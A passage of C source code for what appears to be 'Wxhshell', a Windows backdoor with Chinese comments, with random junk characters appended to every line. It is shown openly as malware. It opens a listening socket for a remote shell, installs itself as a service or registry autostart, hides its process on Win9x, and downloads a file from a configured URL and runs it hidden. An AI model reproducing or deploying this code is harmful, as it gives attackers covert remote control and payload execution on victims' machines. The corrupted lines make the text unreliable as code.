ULONG InheritedFromUniqueProcessId; 6}?d%K
} PROCESS_BASIC_INFORMATION; p:K%-^
4 ob W>
PROCNTQSIP NtQueryInformationProcess; \gB~0@[\7
@K+gh#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uo J0wG.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f$6N
h6OQeZ.
HANDLE hProcess; *z)gSX
PROCESS_BASIC_INFORMATION pbi; ,[t?$Cy;
c{_JPy
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \@WVeFr
if(NULL == hInst ) return 0; P"l'? `
-*MY7t3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jU7[z$GX
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * Ogf6
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z/:F)c,x
O,|NOz
if (!NtQueryInformationProcess) return 0; aK95&Jyw&
]wdE
:k,D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y`j=(|DV
if(!hProcess) return 0; vq^';<Wh.
ZJQFn
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1}c'UEr%)
5h`L W AB
CloseHandle(hProcess); k&%i+5X
7U_ob"`JV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bT&{8a
if(hProcess==NULL) return 0; ` =P_ed%&'
-l57!s~V
HMODULE hMod; pCrm `hy(
char procName[255]; Vub6wb<G[
unsigned long cbNeeded; \U]K!K=
1(dKb
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aEvbGo
)LIn1o_,
CloseHandle(hProcess); X,_K
)f
0bM_EC
if(strstr(procName,"services")) return 1; // 以服务启动 %" 7UYLX
}O
$]xB
return 0; // 注册表启动 _<FUS'"
} J sz=5`
g:a[N%[C
// 主模块 W
h 9L!5
int StartWxhshell(LPSTR lpCmdLine) ;"x+V gS'
{ ]6[+tpx
SOCKET wsl; 3CjixXaA$
BOOL val=TRUE; aG^E^^Y
int port=0; v9-4yZU^WR
struct sockaddr_in door;
IPK1g3Z
h!%y,4IBR
if(wscfg.ws_autoins) Install(); 1xd6p
6bhb_U'f
port=atoi(lpCmdLine); <
$e#o H
69)"T{7
if(port<=0) port=wscfg.ws_port; &Wcz~Gx3Q
Se'SDJl=
WSADATA data; 4n6AK`E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =<3HOOC
b7dsi|Yo
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1Ub=RyB
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9QXsbd6
door.sin_family = AF_INET; T?m@`"L,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); qz]qG=wmL
door.sin_port = htons(port); g"5Kth
P>iZgv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eG!ma` v
closesocket(wsl); ^AaE$G&:
return 1; *)-@'{]u B
} 452kE@=49
BLt58LYGX
if(listen(wsl,2) == INVALID_SOCKET) { qX5>[qf-
closesocket(wsl); [YULvWAJ
return 1; H
Eq{TUTr
} ;9mRumLG"
Wxhshell(wsl); 1g{}O^ul
WSACleanup(); C 8wGbU6`
vw;aL#PP
return 0; c, .@Cc2
03v+eT
} j;@a~bks6z
heou\;GI"
// 以NT服务方式启动 +5*bU1}O
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fEXFnQ#
{ mz6]=]1w
DWORD status = 0; RVttk )Ny
DWORD specificError = 0xfffffff; TG$#aX\'
>"bW'
serviceStatus.dwServiceType = SERVICE_WIN32; iSezrN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; d;Y Kw1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Slg*[r#
serviceStatus.dwWin32ExitCode = 0; \^"Vqx
serviceStatus.dwServiceSpecificExitCode = 0; F<g&t|@
serviceStatus.dwCheckPoint = 0; 6c-3+,Y"#
serviceStatus.dwWaitHint = 0; ?[zw5fUDS
AF"7 _
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6_KvS
if (hServiceStatusHandle==0) return; {:!>Y1w>
gR# k'
status = GetLastError(); l 1k&@1"
if (status!=NO_ERROR) tUxH6IS
{ 9gw;MFP)D
serviceStatus.dwCurrentState = SERVICE_STOPPED; z+Fu{<#(
serviceStatus.dwCheckPoint = 0; eZ(ThA*2=t
serviceStatus.dwWaitHint = 0; Gm:s;w-;v
serviceStatus.dwWin32ExitCode = status; %6uZb sa
serviceStatus.dwServiceSpecificExitCode = specificError; L}rZ1wV6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4!!PrXE
return; Zw0KV%7hD
} ]dNNw`1\V
d=^QK{8
serviceStatus.dwCurrentState = SERVICE_RUNNING; :Q("
serviceStatus.dwCheckPoint = 0; iKrk?B<
serviceStatus.dwWaitHint = 0; we`BqZV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SXqB<j$.;
} /i>n1>~yn
]-X6Cl
// 处理NT服务事件,比如:启动、停止 bpZA%{GS
VOID WINAPI NTServiceHandler(DWORD fdwControl) uPl}NEwU|
{ f^1J_}cL
switch(fdwControl) :VP4: J^
{ __9FQ{Ra
case SERVICE_CONTROL_STOP: 7>gjq'0
serviceStatus.dwWin32ExitCode = 0; mW'3yM
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6H'A]0
serviceStatus.dwCheckPoint = 0; r+C4<-dT
serviceStatus.dwWaitHint = 0; z8t;jw
{ Fnak:R0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ez|NQ:o
} 3JQ7Cc>
return; xtP:Q9!N
case SERVICE_CONTROL_PAUSE: zw15r" R
serviceStatus.dwCurrentState = SERVICE_PAUSED; '4i8&p`/
break; 9!X3Cv|+L
case SERVICE_CONTROL_CONTINUE: uOzoE_i
serviceStatus.dwCurrentState = SERVICE_RUNNING; G8+&fn6
break; G3^<l0?S
case SERVICE_CONTROL_INTERROGATE: >eG<N@13p
break; v2rO>NY4
}; p2 1|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <{k{Coy
} 3f^Pr
\h=*pAf
// 标准应用程序主函数 \OkZ\!<hg
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |E?r+]
{ E&kv4,
Y|r7gy9%
// 获取操作系统版本 kR97)}Y
OsIsNt=GetOsVer(); dX/7n=
GetModuleFileName(NULL,ExeFile,MAX_PATH); Oe\(=R
*z69ti/
t
// 从命令行安装 I?PqWG!O
if(strpbrk(lpCmdLine,"iI")) Install(); EB!ne)X
nX3?7"v
// 下载执行文件 ?lD)J?j
if(wscfg.ws_downexe) { `OMX 9i
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b;jdk w|
WinExec(wscfg.ws_filenam,SW_HIDE); $k0(iFzR1
} H;\C7w|
q,)V0Ffe[|
if(!OsIsNt) { V5ZC2H
// 如果时win9x,隐藏进程并且设置为注册表启动 I9G^T' W
HideProc(); tIDN~[1
StartWxhshell(lpCmdLine); J78.-J5 j0
} vwu/33
else *V',@NH#Os
if(StartFromService()) ni{'V4A
// 以服务方式启动 V:y6NfL7i'
StartServiceCtrlDispatcher(DispatchTable); ,V!"4T,Z
else 7u&l]NC?y
// 普通方式启动 f:+/=MW
StartWxhshell(lpCmdLine); uc+{<E3,%
q]OIP"yv
return 0; >R]M:Wx
}